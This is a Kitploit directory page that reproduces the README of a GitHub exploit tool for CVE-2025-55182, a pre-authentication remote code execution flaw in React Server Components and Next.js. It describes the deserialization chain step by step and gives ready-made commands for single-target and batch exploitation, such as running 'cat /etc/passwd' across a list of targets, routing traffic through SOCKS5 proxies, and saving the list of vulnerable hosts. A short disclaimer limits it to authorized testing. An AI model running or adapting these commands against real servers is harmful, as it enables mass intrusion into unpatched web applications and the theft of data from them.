Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-55182 | Kitploit
Tools/GitHubGitHub/luoluoqingge/cve-2025-55182
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingRemote Access Tool
GitHubluoluoqingge/cve-2025-55182

CVE-2025-55182

View Repository
15 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-55182 - React2Shell

React Server Components / Next.js Pre-Authentication Remote Code Execution

PropertyValue
CVE IDCVE-2025-55182
CVSS10.0 (Critical)
CWECWE-502: Deserialization of Untrusted Data
TypePre-Auth RCE

Affected Versions

ComponentAffected Versions
React19.0.0, 19.1.0, 19.1.1, 19.2.0
Next.js15.0.0 ~ 15.0.4, 15.1.0 ~ 15.1.8, 15.2.x ~ 15.5.6, 16.0.0 ~ 16.0.6
Related Packagesreact-server-dom-webpack, react-server-dom-turbopack, react-server-dom-parcel

Vulnerability Details

This vulnerability exploits a deserialization flaw in the React Server Components (RSC) Flight protocol, achieving unauthenticated remote code execution by crafting a malicious multipart/form-data request. The full exploitation chain is as follows:

  1. Trigger the Server Action path via POST multipart/form-data with a Next-Action header
  2. Chunk "0" contains a specially crafted JSON object (not wrapped in an array); accessing $1:__proto__:then reaches Chunk.prototype.then on the PENDING-state Chunk 1 object, making it thenable
  3. $1:constructor:constructor resolves through the prototype chain to the Function constructor
  4. Chunk.prototype.then calls initializeModelChunk to parse the value field '{"then":"$B0"}'
  5. $B0 blob resolution calls _formData.get(_prefix + "0"), i.e. Function(code + "0")

Dependency Installation

root@kitploit:~
pip install requests[socks]

The script will automatically attempt to install requests and PySocks if dependencies are missing.

Usage

Single Target RCE

root@kitploit:~
python CVE-2025-55182.py -u http://target:3000 -c "id"

Batch Exploitation

root@kitploit:~
python CVE-2025-55182.py -f targets.txt -c "cat /etc/passwd" -o results.txt

Vulnerability Check Only (no command execution)

root@kitploit:~
python CVE-2025-55182.py -u http://target:3000 --check
python CVE-2025-55182.py -f targets.txt --check -o vuln_hosts.txt

Using a Proxy

root@kitploit:~
# HTTP proxy
python CVE-2025-55182.py -u http://target:3000 -c "whoami" --proxy http://127.0.0.1:8080

# SOCKS5 proxy
python CVE-2025-55182.py -f targets.txt -c "id" --proxy socks5://127.0.0.1:1080

Debug Mode

root@kitploit:~
python CVE-2025-55182.py -u http://target:3000 -c "id" -v

Full Parameter Description

Output Explanation

  • VULN — Target is vulnerable, command execution result obtained
  • MAYBE — Possibly vulnerable (e.g., read timeout)
  • ERR — Connection error
  • SAFE — No vulnerability detected

Batch scan results are written to the output file specified by -o, recording only confirmed vulnerable targets.

Example targets.txt Format

root@kitploit:~
http://192.168.1.10:3000
https://app.example.com
http://10.0.0.5:3000/dashboard
# Comment lines are ignored

Disclaimer

This tool is intended only for authorized security testing and security research purposes. Users must ensure they have explicit permission from the owner of the target system. Unauthorized penetration testing of systems is illegal; users bear all legal responsibilities.

Download Tool
  • The returned function object itself has a then property, is treated as thenable and invoked, triggering code execution and achieving RCE
  • ParameterDescriptionDefault
    -u, --urlSingle target URL (mutually exclusive with -f)-
    -f, --fileFile containing target URLs, one per line (mutually exclusive with -u)-
    -c, --commandSystem command to execute (not required in --check mode)-
    -o, --outputOutput file for resultsresults.txt
    -t, --threadsNumber of concurrent threads10
    -v, --verboseShow debug outputFalse
    --proxyProxy address, supports HTTP and SOCKS5-
    --timeoutRequest timeout in seconds15
    --checkOnly check for vulnerability, do not execute commandsFalse
    --verify-sslVerify TLS certificateFalse